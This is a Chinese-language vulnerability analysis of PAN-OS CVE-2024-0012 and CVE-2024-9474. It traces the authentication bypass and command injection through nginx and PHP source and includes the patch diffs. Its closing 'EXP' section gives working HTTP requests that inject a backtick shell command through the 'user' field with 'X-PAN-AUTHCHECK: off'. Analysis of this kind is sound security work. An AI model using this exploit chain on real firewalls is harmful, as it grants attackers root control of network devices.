CVE-2024-0012 漏洞描述 Palo Alto Networks PAN-OS 软件中的身份验证绕过功能使未经身份验证的攻击者能够通过网络访问管理 Web 界面,从而获得 PAN-OS 管理员权限,以执行管理作、篡改配置或利用其他经过身份验证的权限提升漏洞,如 CVE-2024-9474。
影响范围
环境搭建
https://blog.51cto.com/jianghxa/5268509
注意:登录后需要设置密码,密码复杂度如:Zxcasdqwe123#
查看IP
,show interface management
默认开始ssh
,但是是CLI
查看端口发现开放了443
,但没有开放80
,因此访问web
端需要注意https
漏洞分析 该防火墙里面有很多php
文件,分析php.ini
文件,通过find命令查找发现有很多php.ini
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@PA-VM /]# find | grep php.ini find | grep php.ini ./var/appweb/htdocs/vendor/mongodb/mongodb/.evergreen/config/php.ini ./etc/php.ini ./etc/httpd/mgmtui/php.ini ./etc/appweb3/sslvpn/php.ini ./etc/appweb3/l3svc/php.ini ./opt/plugins/etc/php.ini ./opt/plugins/usr/share/doc/php-common/php.ini-production ./opt/plugins/usr/share/doc/php-common/php.ini-development ./usr/share/doc/php-common/php.ini-production ./usr/share/doc/php-common/php.ini-development ./usr/lib32/php.ini ./usr/lib/php.ini
此时,执行下面,然后get
请求k0mor3b1.php
文件可以看到,配置文件是/etc/httpd/mgmtui/php.ini
1 echo "<?php phpinfo(); ?>" > /var/appweb/htdocs/unauth/k0mor3b1.php
分析/etc/httpd/mgmtui/php.ini
文件发现下面配置:
1 auto_prepend_file = uiEnvSetup.php ; PAN-MODIFIED
**auto_prepend_file
**关键字
PHP
会在执行每个脚本前 自动加载指定的文件(此处为 uiEnvSetup.php
),相当于在所有 PHP
文件开头隐式插入 require_once('uiEnvSetup.php')
。
典型用途:全局初始化环境变量、预加载公共函数库、开启安全过滤、设置数据库连接池或注入统一的 HTTP
头。
查找uiEnvSetup.php
文件,发现有两个
1 2 3 [root@PA-VM /]# find | grep uiEnvSetup.php ./var/appweb/htdocs/phpincludes/uiEnvSetup.php ./opt/plugins/var/appweb/htdocs/phpincludes/uiEnvSetup.php
通过上面获取的phpinfo
去查看include_path
确定目录顺序查找文件的优先级
查看./var/appweb/htdocs/phpincludes/uiEnvSetup.php
文件,重点关注里面会话和身份验证处理部分
只有当以下条件都满足时才会进行会话鉴权:
HTTP_X_PAN_AUTHCHECK
的值不等于 off
。
请求的脚本路径 (PHP_SELF
) 既不等于 /CA/ocsp
,也不等于 /php/login.php
。
请求的 IP (REMOTE_HOST
) 不包含 127.0.0.1
。
因此,只要有任意一个条件不满足(例如 HTTP_X_PAN_AUTHCHECK
为 off
、请求路径是 /CA/ocsp
或 /php/login.php
,或者请求来自 127.0.0.1
),就不会触发会话身份鉴权流程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [root@PA-VM /] <?php use pan_core \Container ;use pan_core \Lifecycle ;use pan_core \Str ;use pan_fs \FS ;use pan_log \Log ;use pan_store \Store ;use panui_core \http \WebSession ;... if ( $_SERVER ['HTTP_X_PAN_AUTHCHECK' ] != 'off' && $_SERVER ['PHP_SELF' ] !== '/CA/ocsp' && $_SERVER ['PHP_SELF' ] !== '/php/login.php' && stristr ($_SERVER ['REMOTE_HOST' ], '127.0.0.1' ) === false ) { $_SERVER ['PAN_SESSION_READONLY' ] = true ; $ws = WebSession ::getInstance ($ioc ); $ws ->start (); $ws ->close (); if ( !Str ::startsWith ($_SERVER ['PHP_SELF' ], '/php-packages/panorama_webui/php/api/index.php' ) && !Str ::startsWith ($_SERVER ['PHP_SELF' ], '/php-packages/firewall_webui/php/api/index.php' ) ) { if (Backend ::quickSessionExpiredCheck ()) { if (isset ($_SERVER ['QUERY_STRING' ])) { Util ::login ($_SERVER ['QUERY_STRING' ]); } else { Util ::login (); } exit (1 ); } } }
通过查找X-pan-AuthCheck
找到了etc/nginx/conf/proxy_default.conf
文件
1 2 3 4 5 6 7 8 9 10 11 [root@PA-VM /]# cat etc/nginx/conf/proxy_default.conf # default proxy request header setting proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Real-Scheme $scheme; proxy_set_header X-Real-Port $server_port; proxy_set_header X-Real-Server-IP $server_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-pan-ndpp-mode $pan_ndpp_mode; proxy_set_header Proxy ""; proxy_set_header X-pan-AuthCheck $panAuthCheck;
继续跟进panAuthCheck
,找到了etc/nginx/conf/locations.conf
文件
$panAuthCheck
为 off
的情况包括:
请求路径以 /unauth/
开头。
请求路径是 /php/logout.php
。
默认$panAuthCheck
为 on
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [root@PA-VM /]# cat etc/nginx/conf/locations.conf ... # Chrome cache large source map making them out of date . location ~ \.js\.map$ { add_header Cache-Control "no-cache; no-store"; proxy_pass_header Authorization; proxy_pass http://$gohost$gohostExt; } # turn on auth check by default set $panAuthCheck 'on'; if ($uri ~ ^\/unauth\/.+$) { set $panAuthCheck 'off'; } if ($uri = /php/logout.php) { set $panAuthCheck 'off'; } ...
对.js.map
的请求进行详细分析如下:
add_header Cache-Control "no-cache; no-store";
add_header
: 这个指令用于添加 HTTP 响应头。它会向响应中添加 Cache-Control
头部。
Cache-Control "no-cache; no-store"
:
no-cache
表示即使缓存内容存在,浏览器在使用缓存的内容之前,仍需向服务器进行验证。
no-store
表示浏览器不应该缓存响应内容,确保每次请求都从服务器获取最新的数据。
proxy_pass_header Authorization;
proxy_pass_header
: 这个指令将特定的 HTTP 头传递给后端服务器。在这种情况下,它传递了 Authorization
头部。
Authorization
头用于传递认证信息,通常用于身份验证(如基本认证或 Bearer Token
)。将这个头部转发给后端服务器可以确保后端在处理请求时拥有相同的认证信息。
proxy_pass http://$gohost$gohostExt;
proxy_pass
: 这个指令将请求代理到指定的后端服务器。proxy_pass
后面跟的是一个 URL
,指示请求应该转发到哪里。
$$gohos$$gohostExt
: 这两个变量可能在其他地方定义,$gohost
是主机名(可能是服务器的主机名或 IP
地址),而 $gohostExt
可能是端口或其他附加信息(例如扩展名或路径)。这两个变量的值将共同构成完整的后端地址。
1 2 3 4 5 location ~ \.js\.map$ { add_header Cache-Control "no-cache; no-store"; proxy_pass_header Authorization; proxy_pass http://$gohost$gohostExt; }
因此,当对.js.map
的请求头包含X-PAN-AUTHCHECK: off
时,即可绕过鉴权
补丁分析 添加了X-PAN-AUTHCHECK: on
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 add_header Allow "GET, HEAD, POST, PUT, DELETE, OPTIONS"; if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) { return 405; } +proxy_set_header X-Real-IP ""; +proxy_set_header X-Real-Scheme ""; +proxy_set_header X-Real-Port ""; +proxy_set_header X-Real-Server-IP ""; +proxy_set_header X-Forwarded-For ""; +proxy_set_header X-pan-ndpp-mode ""; +proxy_set_header Proxy ""; +proxy_set_header X-pan-AuthCheck 'on'; # rewrite_log on; # static ones @@ -27,6 +17,5 @@ location /nginx_status { location ~ \.js\.map$ { add_header Cache-Control "no-cache; no-store"; proxy_pass_header Authorization; + include conf/proxy_default.conf; proxy_pass http://$gohost$gohostExt; }
EXP
CVE-2024-9474 漏洞描述 Palo Alto Networks PAN-OS
软件中存在一个权限提升漏洞,使得有权访问管理 Web
界面的 PAN-OS
管理员能够使用 root 权限在防火墙上执行作。
此问题适用于 PA
系列、VM
系列和 CN
系列防火墙以及 Panorama
(虚拟和 M
系列)和 WildFire
设备上的 PAN-OS 10.1
、PAN-OS 10.2
、PAN-OS 11.0
、PAN-OS 11.1
和 PAN-OS 11.2
软件。
Cloud NGFW
和 Prisma Access
不受此漏洞的影响。
影响范围
漏洞分析 在/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php
文件中,存在一个很明显的命令执行漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [root@PA-VM /] <?php namespace panui_core \log ;use pan_core \InjectableClass ;use pan_process \Process ;use pan_process \ShellSanitizer ;class AuditLog extends InjectableClass { public function write ($username , $message ) { $s = $this ->ioc->get (ShellSanitizer ::class ); $msg = $s ->escapeshellarg ($message ); $p = $this ->ioc->get (Process ::class ); return $p ->pexecute ("/usr/local/bin/pan_elog -u audit -m $msg -o $username " ); } }
在var/appweb/htdocs/php-packages/pan_process/src/Process.php
文件中进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function pexecute ($cmd ) { $this ->log->elapsed ("$cmd starts" ); $descriptors = [ 0 => ['pipe' , 'r' ], 1 => ['pipe' , 'w' ], 2 => ['file' , '/dev/null' , 'w' ], ]; $process = proc_open ($cmd , $descriptors , $pipes ); fclose ($pipes [0 ]); $stdout = stream_get_contents ($pipes [1 ]); $code = proc_close ($process ); $this ->log->elapsed ("$cmd ends - code: $code stdout: $stdout " ); return [ 'code' => $code , 'stdout' => $stdout , ]; }
分析/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php
文件中的write
函数调用,定位到了var/appweb/htdocs/php-packages/panui_core/src/tracking/AdminActivity.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php namespace panui_core \tracking ;use pan_core \Container ;use pan_core \InjectableTrait ;use panui_core \http \Session ;use panui_core \log \AuditLog ;use panui_core \log \SysLog ;class AdminActivity { use InjectableTrait ; ... public function accessTab ($target ) { if (!self ::isValidTabName ($target )) return self ::FAIL_RESPONSE ; $session = $this ->ioc->get (Session ::class ); $username = $session ->get ('userName' ); $sys = $target === 'monitor' ? $this ->writeSysLog ($username , "tab: $target " ) : true ; $audit = $this ->writeAuditLog ($username , "tab: $target " ); if ($sys && $audit ) { return [ '@status' => 'success' , '@code' => '19' ]; } $result = [ '@status' => 'failure' ]; if (!$sys && !$audit ) { $result ['msg' ] = _T ("Could not generate system logs for accessing Monitor tab and audit tracking logs." ); } else if (!$sys ) { $result ['msg' ] = _T ("Could not generate system logs for accessing Monitor tab." ); } else if (!$audit ) { $result ['msg' ] = _T ("Could not generate audit tracking logs." ); } return $result ; } public function accessNode ($target ) { if (!self ::isValidNodeName ($target )) return self ::FAIL_RESPONSE ; $session = $this ->ioc->get (Session ::class ); $username = $session ->get ('userName' ); $success = $this ->writeAuditLog ($username , "node: $target " ); if ($success ) { return [ '@status' => 'success' , '@code' => '19' ]; } return [ '@status' => 'failure' , 'msg' => _T ("Could not generate audit tracking logs." ) ]; } ... private function writeAuditLog ($username , $target ) { $auditLog = $this ->ioc->get (AuditLog ::class ); $result = $auditLog ->write ($username , "User $username accessed $target " ); return $result ['code' ] === 0 ; } ... }
分析$username
的传参,再跟进/var/appweb/htdocs/php-packages/panui_core/src/http/Session.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [root@PA-VM /] <?php namespace panui_core \http ;use pan_core \InjectableClass ;use pan_fs \FS ;use pan_http \Cookie ;use pan_http \Server ;use pan_http \Session as HttpSession ;use panui_core \mgmt \ResponseFormatter ;use panui_core \mgmt \XmlRequest ;class Session extends InjectableClass { ... function __call ($name , $args ) { $session = $this ->getHttpSession (); return $session ->{$name }(...$args ); } private function getHttpSession ( ) { return $this ->ioc->get (HttpSession ::class ); } ... }
继续跟进/var/appweb/htdocs/php-packages/panui_core/src/http/Session.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 [root@PA-VM /] <?php namespace pan_http ;use Closure ;use pan_core \Container ;class Session { ... function exists ($key ) { return isset ($_SESSION [$key ]); } function get ($key , $default = null ) { return $this ->exists ($key ) ? $_SESSION [$key ] : $default ; } ... }
综上,在/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php
文件中$username
参数来自于sess_id
文件里面的$username
1 2 [root@PA-VM phpsessions] cmsRemoteSession|s:1 :"1" ;panorama_sessionid|s:5 :"dummy" ;user|s:16 :"4729754977522173" ;userName|s:4 :"`id`" ;userRole|s:9 :"superuser" ;vsys|s:5 :"vsys1" ;editShared|N;numRulphperPage|s:2 :"25" ;model|s:5 :"PA-VM" ;family|s:2 :"vm" ;serialNo|s:7 :"unknown" ;version|s:6 :"11.0.1" ;isCms|s:2 :"no" ;dloc|s:23 :"8:localhost.localdomain" ;loc|s:30 :"16:localhost.localdomain:vsys1" ;
分析/var/appweb/htdocs/php/utils/createRemoteAppwebSession.php
文件,发现可以创建一个sess_id
的文件,并且user
可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [root@PA-VM /] <?php WebSession ::start ();$isCms = panui_platform_is_cms ();if ($isCms == 0 ) { $locale = isset ($_POST ['locale' ]) ? $_POST ['locale' ] : $_SESSION ['locale' ]; panCreateRemoteAppwebSession ( $_POST ['user' ], $_POST ['userRole' ], $_POST ['remoteHost' ], $_POST ['vsys' ], $_POST ['editShared' ], $_POST ['prot' ], $_SERVER ['SERVER_PORT' ], $_POST ['rbaxml' ], $locale , $_POST ['hideHeaderBg' ] ); } session_write_close ();
当创建好sess_id
文件后,我们只需要使用这个sessionid
即可触发漏洞代码写日志
补丁分析 对$username
参数进行了过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php namespace panui_core \log ;use pan_core \InjectableClass ;use pan_process \Process ;use pan_process \ShellSanitizer ;class AuditLog extends InjectableClass { public function write ($username , $message ) { $s = $this ->ioc->get (ShellSanitizer ::class ); $msg = $s ->escapeshellarg ($message ); $p = $this ->ioc->get (Process ::class ); - return $p ->pexecute ("/usr/local/bin/pan_elog -u audit -m $msg -o $username " ); + $u = $s ->escapeshellarg ($username ); + return $p ->pexecute ("/usr/local/bin/pan_elog -u audit -m $msg -o $u " ); } }
EXP 控制变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /php/utils/createRemoteAppwebSession.php/k0mor3b1.js.map HTTP/1.1 Host: 192.168.2.151 X-PAN-AUTHCHECK: off Content-Type: application/x-www-form-urlencoded Content-Length: 106 user=`echo $(uname -a) > /var/appweb/htdocs/unauth/k0mor3b1.php`&userRole=superuser&remoteHost=&vsys=vsys1 HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 06:12:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 48 Connection: keep-alive Set-Cookie: PHPSESSID=837b0e3fu9bn9m05v4hip6ncdc; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache; no-store @start@PHPSESSID=837b0e3fu9bn9m05v4hip6ncdc@end@
命令执行
1 2 3 4 5 GET /index.php/.js.map HTTP/1.1 Host: 192.168.2.151 Cookie: PHPSESSID=837b0e3fu9bn9m05v4hip6ncdc; X-PAN-AUTHCHECK: off Connection: keep-alive
参考链接 https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
https://mirror.cloudpropeller.com/paloalto/vm-series/